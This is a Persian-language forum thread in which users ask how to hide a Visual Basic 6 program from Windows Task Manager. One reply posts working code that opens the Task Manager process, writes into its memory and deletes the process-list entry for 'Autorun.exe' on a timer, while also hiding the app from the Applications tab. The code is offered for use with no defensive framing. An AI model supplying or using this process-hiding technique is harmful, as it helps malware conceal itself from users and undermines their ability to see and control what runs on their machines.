مخفی کردن پروسه از سربرگ Applications

[omid.sarmad]

سلام.
یه برنامه با Visual Basic 6 نوشتم.میخوام موقع اجرا تو Task Manager و در سربرگ Applications (دقت کنید Applications نه Processes ) مخفی باشه.یعنی در حالت Hidden اجرا شه.
تو 2008 که تیکی واسه اینکار هست اما ظاهرا تو نسخه6 نیست (برای یکی از دوستان هست)
عزیزانی که میدونند تو Visual Basic 6 این گزینه کجاست راهنمایی کنند.

[Smafias]

توی قسمت کد بنویس:


برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

به همین سادگی :11:

[omid.sarmad]

ممنون.:10:

[M_i_L_i]

اگه میشه لطف کنید بگید چطوری از تو لیست پروسسها هم بشه مخفی کرد برنامه رو ؟

[omid.sarmad]

اگه میشه لطف کنید بگید چطوری از تو لیست پروسسها هم بشه مخفی کرد برنامه رو ؟
سلام.


Private Sub Hide_Process(Name As String)
On Error Resume Next
Dim pName As Long
Dim pType As Long
Dim l As Long
Dim Tid As Long
Dim hTid As Long
Dim Pid As Long
Dim h As Long
Dim i As Long
Dim hProcess As Long
Dim f As bkh
Dim s As String
Dim bkh() As Byte
h = FindWindow(vbNullString, "Windows Task Manager")
KillTimer h, 0
h = FindWindowEx(h, 0, "#32770", vbNullString)
h = FindWindowEx(h, 0, "SysListView32", vbNullString)

If h = 0 Then Exit Sub

f.flag = 8 Or &H20

Call GetWindowThreadProcessId(h, Pid)
hProcess = OpenProcess(1082, 0, Pid)

bkh = StrConv(Name, vbFromUnicode)
pName = VirtualAllocEx(hProcess, 0, Len(Name) + 1, &H1000, 4)
WriteProcessMemory hProcess, pName, VarPtr(bkh(0)), Len(Name), l
f.psz = pName
pType = VirtualAllocEx(hProcess, 0, Len(f), &H1000, 4)
WriteProcessMemory hProcess, pType, VarPtr(f.flag), Len(f), l
i = SendMessage(h, &H1000 + 13, 0, pType)
If i <> -1 Then SendMessage h, &H1000 + 8, i, 0

VirtualFreeEx hProcess, pType, Len(f), &H8000
VirtualFreeEx hProcess, pName, LenB(Name) + 1, &H8000
CloseHandle hTid
End Sub
Private Sub Form_Load()
App.TaskVisible = False
End Sub
Private Sub Timer1_Timer()
Hide_Process "Autorun.exe"
End Sub

:10: